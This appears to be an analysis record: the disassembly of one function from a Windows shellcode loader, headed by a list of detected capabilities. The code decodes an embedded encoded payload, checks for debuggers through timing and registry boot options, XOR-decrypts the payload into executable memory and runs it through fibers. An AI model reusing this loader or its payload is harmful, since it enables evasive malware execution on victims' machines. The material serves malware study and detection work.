Function at 0x140001560
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Encode data using xor
Execute anti-debugging instructions
Execute command
Execute shellcode via windows fibers
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x1e8]
sub rsp, 0x2e0
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
rdtsc
shl rdx, 0x20
or rax, rdx
mov rsi, rax
movdqa xmm0, xmmword [0x140004aa0]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov r8d, 0x4ac
lea rdx, str.L5tQNyM7G9PT05KCkoOBgoWb4gG2m1iBs5tYgcubWIHzm1ihg5vcZJmZnuIamITfyr9H_85ISGt6S0hIxPoGSgptYgfNYkeb0gO1UqvL2NGmoVhTW9PT05tWE6e0m9IDg1iby5dYk_Oa0gMwhZssGpJY51ub0gWe4hqb4hN_khIa3pLSEuszpiKf0J_325bqAqYLi5dYk_ea0gO1kljfm5dYk8a0gOSWNdbm9IDkouSi42KiZKLkoqSiZtQP_OSgSwzi5KKiZtYwTqcLCwsjrnTmm2kur26vban05KFmlo1n1oikmmfpPXULAab4hqb4gGe4hOe4hqSg5KDkmnphap0LAY4oImbWhKSa4PT09Oe4hqSgpKCudCSgpJphFpMFSwGOIqIm1oSmIBmloLnuIagbvT0ZNXgYGSaTiG_egsBptaFZtQEIO52YybWiKbWgmaFBMsLCwsnuIagYGSaf7Vy6gsBlYT3FZO0tPTmywc3Fdf0tPTOAA6N9LT0ztxLCws_IGjsNMkx60f2Ayi6omUmJU5RMHBj_9CU4hSAdV9gUCQW76HpjgePJ9IQXqnbejVFM08zrTfu7Q39BbRuA_RnfChmhe1MGmL_hmoH7BQ9ObvKCn6fO8pqe_vLy4_b6pbb9sLy3tmSsLC2o6fp8_n8d7ZhqC2of6StLa9pnznrypur_svzm_ePz4S6vbe8pKDznYfz5f3ivOSo6O_toS2sZi6p_zm4OT94OXz5ibh56f__O_uri285S2sLi8t7Z01e6yYXEhnPrbxvfdkPlEVni8AmgK9g4COe5z8iLcJN3A43sNCKqgoW9zjBMy5PzOCCEW_8UnBXbZJxiN0H0rma7M4S0E09Pd1unnZtWfSGnUcv68wBGB0H5yR3AW55zEEJHdnK7A0V8CELmdCzAisgmRy6tHmYHcbi8hLr6c9oKnDDIFPjAiLBhqAN96oEIRteOtvqZRWsdmqSbqCEqQezXgW1i4N0mox1ubhVTHxjCLd3Tkm0jZnGFLAab4hpp09OT05Jr08PT05Jqk9PT05Jpi3eANiwGm0CAgJtaNJtaIptaCZJr0_PT05paKpJpwUVaMSwGm1AX81YTp2W1WNSb0hBWE6YEi4uLm9bT09PTgxA7TC4sLOLq4f3i5ev94uP94ubi04LabL6QkJA
lea rcx, [rbp - 0x58]
call fcn.140001c50
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
jne 0x1400015ee
lea rcx, str.FLS_OUT_OF_INDEXES_n
call fcn.1400010a0
jmp 0x1400019a1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edi, edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x3e8
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
jne 0x14000162f
lea rcx, str.VirtualAllocExNuma_NULL_n
call fcn.1400010a0
jmp 0x1400019a1
rdtsc
shl rdx, 0x20
or rax, rdx
mov rbx, rax
sub rbx, rsi
mov rdx, rbx
lea rcx, str.new_time___old_time:__lld_n
call fcn.1400010a0
cmp rbx, 0x186a0
ja 0x1400019a1
mov dword [rsp + 0x60], 0x200
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControl
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400016f3
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x64]
xor r8d, r8d
lea rdx, str.SystemStartOptions
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400016ea
cmp dword [rsp + 0x64], 1
jne 0x140001701
lea rdx, [rbp - 0x30]
lea rcx, str.SystemStartOptions:__s_n
call fcn.140001040
jmp 0x140001701
lea rcx, str.RegQueryValueEx_Error:__d_n
jmp 0x1400016fa
lea rcx, str.RegCreateKeyEx_Error:__d_n
mov edx, eax
call fcn.1400010a0
movdqa xmm0, xmmword [0x140004a90]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], di
lea rax, [rbp - 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], di
jne 0x140001720
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x68]
call fcn.140001ae0
nop
lea r10, [rsp + 0x68]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rbp - 0x80]
cmp r14, 8
cmovae r10, rsi
mov rax, qword [rsp + 0x78]
cmp rax, 5
jb 0x1400017d0
add rax, 0xfffffffffffffffc
lea r11, [r10 + rax*2]
mov rax, r10
lea rbx, str.DEBUG
nop dword [rax]
mov rcx, r11
sub rcx, rax
sar rcx, 1
je 0x1400017d0
cmp word [rax], 0x44
je 0x14000178b
add rax, 2
sub rcx, 1
jmp 0x140001779
test rax, rax
je 0x1400017d0
mov r8d, 5
mov rdx, rbx
mov r9, rax
sub r9, rbx
nop
movzx ecx, word [rdx]
cmp word [r9 + rdx], cx
jne 0x1400018c9
add rdx, 2
sub r8, 1
jne 0x1400017a0
sub rax, r10
sar rax, 1
cmp rax, 0xffffffffffffffff
je 0x1400017d0
lea rcx, str.DEBUG_n
call fcn.1400010a0
lea r8, str.CppTest
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001949
lea rcx, str.CreateMutex_ERROR_ALREADY_EXISTS_n
call fcn.1400010a0
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x78]
call fcn.140001100
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov edx, 0x400
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor edx, edx
mov r8d, 0x400
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x400
cmp qword [rbp - 0x68], r8
cmovb r8, qword [rbp - 0x68]
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movdqa xmm2, xmmword [0x140004ab0]
lea rax, [rbx + 0x10]
movdqu xmm0, xmmword [rax - 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
movdqu xmm0, xmmword [rax]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
add edi, 0x40
lea rax, [rax + 0x40]
cmp edi, 0x400
jb 0x140001872
jmp 0x1400018f1
add rax, 2
jmp 0x140001770
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140001962
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001942
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001942
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400024f0
jmp 0x140001962
lea rcx, str.CppTest.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp r14, 8
jb 0x1400019a1
lea rdx, [r14*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001998
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001998
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1400024f0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x1400019df
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400024f0
xor eax, eax
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140001f40
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret